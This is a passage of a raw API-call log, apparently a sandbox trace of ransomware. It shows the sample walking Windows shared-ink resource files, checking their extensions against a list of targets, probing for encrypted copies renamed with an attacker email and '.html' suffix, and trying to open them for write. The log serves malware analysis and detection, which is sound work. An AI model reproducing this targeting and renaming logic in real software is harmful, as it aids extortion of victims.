returned -1 [0057.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.846] lstrlenW (lpString=".dbf") returned 4 [0057.846] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.846] lstrlenW (lpString=".1cd") returned 4 [0057.847] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui") returned 68 [0057.847] lstrlenW (lpString=".jpg") returned 4 [0057.847] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.847] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.847] lstrlenW (lpString="mshwLatin.dll.mui") returned 17 [0057.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.848] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2560) returned 1 [0057.848] CloseHandle (hObject=0x184) returned 1 [0057.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0057.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0057.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.849] lstrlenW (lpString=".doc") returned 4 [0057.849] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.849] lstrlenW (lpString=".docx") returned 5 [0057.849] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.849] lstrlenW (lpString=".pdf") returned 4 [0057.849] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.849] lstrlenW (lpString=".xls") returned 4 [0057.849] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.849] lstrlenW (lpString=".xlsx") returned 5 [0057.849] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.849] lstrlenW (lpString=".ppt") returned 4 [0057.849] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.849] lstrlenW (lpString=".zip") returned 4 [0057.849] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.849] lstrlenW (lpString=".rar") returned 4 [0057.849] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.849] lstrlenW (lpString=".bz2") returned 4 [0057.849] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.849] lstrlenW (lpString=".7z") returned 3 [0057.849] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.849] lstrlenW (lpString=".dbf") returned 4 [0057.849] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.849] lstrlenW (lpString=".1cd") returned 4 [0057.849] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.850] lstrlenW (lpString=".jpg") returned 4 [0057.850] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.850] lstrlenW (lpString=".doc") returned 4 [0057.850] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.850] lstrlenW (lpString=".docx") returned 5 [0057.850] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.850] lstrlenW (lpString=".pdf") returned 4 [0057.850] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.850] lstrlenW (lpString=".xls") returned 4 [0057.850] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.850] lstrlenW (lpString=".xlsx") returned 5 [0057.850] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.850] lstrlenW (lpString=".ppt") returned 4 [0057.850] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.850] lstrlenW (lpString=".zip") returned 4 [0057.850] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.850] lstrlenW (lpString=".rar") returned 4 [0057.850] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.850] lstrlenW (lpString=".bz2") returned 4 [0057.850] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.850] lstrlenW (lpString=".7z") returned 3 [0057.850] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.850] lstrlenW (lpString=".dbf") returned 4 [0057.850] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.850] lstrlenW (lpString=".1cd") returned 4 [0057.850] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui") returned 74 [0057.851] lstrlenW (lpString=".jpg") returned 4 [0057.851] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.851] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.851] lstrlenW (lpString="rtscom.dll.mui") returned 14 [0057.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.851] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2560) returned 1 [0057.851] CloseHandle (hObject=0x184) returned 1 [0057.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0057.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0057.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.851] lstrlenW (lpString=".doc") returned 4 [0057.852] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.852] lstrlenW (lpString=".docx") returned 5 [0057.852] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.852] lstrlenW (lpString=".pdf") returned 4 [0057.852] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.852] lstrlenW (lpString=".xls") returned 4 [0057.852] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.852] lstrlenW (lpString=".xlsx") returned 5 [0057.852] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.852] lstrlenW (lpString=".ppt") returned 4 [0057.852] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.852] lstrlenW (lpString=".zip") returned 4 [0057.852] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.852] lstrlenW (lpString=".rar") returned 4 [0057.852] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.852] lstrlenW (lpString=".bz2") returned 4 [0057.852] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.852] lstrlenW (lpString=".7z") returned 3 [0057.852] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.852] lstrlenW (lpString=".dbf") returned 4 [0057.852] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.852] lstrlenW (lpString=".1cd") returned 4 [0057.852] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.852] lstrlenW (lpString=".jpg") returned 4 [0057.852] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.853] lstrlenW (lpString=".doc") returned 4 [0057.853] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.853] lstrlenW (lpString=".docx") returned 5 [0057.853] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.853] lstrlenW (lpString=".pdf") returned 4 [0057.853] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.853] lstrlenW (lpString=".xls") returned 4 [0057.853] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.853] lstrlenW (lpString=".xlsx") returned 5 [0057.853] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.853] lstrlenW (lpString=".ppt") returned 4 [0057.853] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.853] lstrlenW (lpString=".zip") returned 4 [0057.853] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.853] lstrlenW (lpString=".rar") returned 4 [0057.853] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.853] lstrlenW (lpString=".bz2") returned 4 [0057.853] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.853] lstrlenW (lpString=".7z") returned 3 [0057.853] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.853] lstrlenW (lpString=".dbf") returned 4 [0057.853] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.853] lstrlenW (lpString=".1cd") returned 4 [0057.853] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned 71 [0057.853] lstrlenW (lpString=".jpg") returned 4 [0057.853] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.854] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.854] lstrlenW (lpString="ShapeCollector.exe.mui") returned 22 [0057.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.854] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=43520) returned 1 [0057.854] CloseHandle (hObject=0x184) returned 1 [0057.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0057.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0057.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.854] lstrlenW (lpString=".doc") returned 4 [0057.854] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.854] lstrlenW (lpString=".docx") returned 5 [0057.854] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0057.854] lstrlenW (lpString=".pdf") returned 4 [0057.854] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.854] lstrlenW (lpString=".xls") returned 4 [0057.855] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.855] lstrlenW (lpString=".xlsx") returned 5 [0057.855] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0057.855] lstrlenW (lpString=".ppt") returned 4 [0057.855] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.855] lstrlenW (lpString=".zip") returned 4 [0057.855] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.855] lstrlenW (lpString=".rar") returned 4 [0057.855] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.855] lstrlenW (lpString=".bz2") returned 4 [0057.855] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.855] lstrlenW (lpString=".7z") returned 3 [0057.855] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.855] lstrlenW (lpString=".dbf") returned 4 [0057.855] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.855] lstrlenW (lpString=".1cd") returned 4 [0057.856] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.856] lstrlenW (lpString=".jpg") returned 4 [0057.856] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.856] lstrlenW (lpString=".doc") returned 4 [0057.856] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.856] lstrlenW (lpString=".docx") returned 5 [0057.856] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0057.856] lstrlenW (lpString=".pdf") returned 4 [0057.856] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.856] lstrlenW (lpString=".xls") returned 4 [0057.856] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.856] lstrlenW (lpString=".xlsx") returned 5 [0057.856] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0057.856] lstrlenW (lpString=".ppt") returned 4 [0057.856] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.856] lstrlenW (lpString=".zip") returned 4 [0057.856] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.856] lstrlenW (lpString=".rar") returned 4 [0057.856] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.856] lstrlenW (lpString=".bz2") returned 4 [0057.856] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.856] lstrlenW (lpString=".7z") returned 3 [0057.856] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.856] lstrlenW (lpString=".dbf") returned 4 [0057.856] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.856] lstrlenW (lpString=".1cd") returned 4 [0057.857] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0057.857] lstrlenW (lpString=".jpg") returned 4 [0057.857] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.857] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.857] lstrlenW (lpString="tabskb.dll.mui") returned 14 [0057.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.858] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3072) returned 1 [0057.858] CloseHandle (hObject=0x184) returned 1 [0057.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0057.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0057.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.858] lstrlenW (lpString=".doc") returned 4 [0057.858] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.858] lstrlenW (lpString=".docx") returned 5 [0057.858] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.858] lstrlenW (lpString=".pdf") returned 4 [0057.858] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.859] lstrlenW (lpString=".xls") returned 4 [0057.859] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.859] lstrlenW (lpString=".xlsx") returned 5 [0057.859] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.859] lstrlenW (lpString=".ppt") returned 4 [0057.859] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.859] lstrlenW (lpString=".zip") returned 4 [0057.859] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.859] lstrlenW (lpString=".rar") returned 4 [0057.859] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.859] lstrlenW (lpString=".bz2") returned 4 [0057.859] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.859] lstrlenW (lpString=".7z") returned 3 [0057.859] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.859] lstrlenW (lpString=".dbf") returned 4 [0057.859] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.859] lstrlenW (lpString=".1cd") returned 4 [0057.859] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.859] lstrlenW (lpString=".jpg") returned 4 [0057.859] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.859] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.859] lstrlenW (lpString=".doc") returned 4 [0057.859] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0057.859] lstrlenW (lpString=".docx") returned 5 [0057.859] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0057.859] lstrlenW (lpString=".pdf") returned 4 [0057.859] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0057.860] lstrlenW (lpString=".xls") returned 4 [0057.860] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0057.860] lstrlenW (lpString=".xlsx") returned 5 [0057.860] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0057.860] lstrlenW (lpString=".ppt") returned 4 [0057.860] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0057.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.860] lstrlenW (lpString=".zip") returned 4 [0057.860] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0057.860] lstrlenW (lpString=".rar") returned 4 [0057.860] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0057.860] lstrlenW (lpString=".bz2") returned 4 [0057.860] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0057.860] lstrlenW (lpString=".7z") returned 3 [0057.860] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0057.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.860] lstrlenW (lpString=".dbf") returned 4 [0057.860] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0057.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.860] lstrlenW (lpString=".1cd") returned 4 [0057.860] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0057.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned 71 [0057.860] lstrlenW (lpString=".jpg") returned 4 [0057.860] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0057.860] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0057.860] lstrlenW (lpString="TipBand.dll.mui") returned 15 [0057.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.863] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3072) returned 1 [0057.863] CloseHandle (hObject=0x184) returned 1 [0057.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0057.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0057.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned 72 [0057.863] lstrlenW 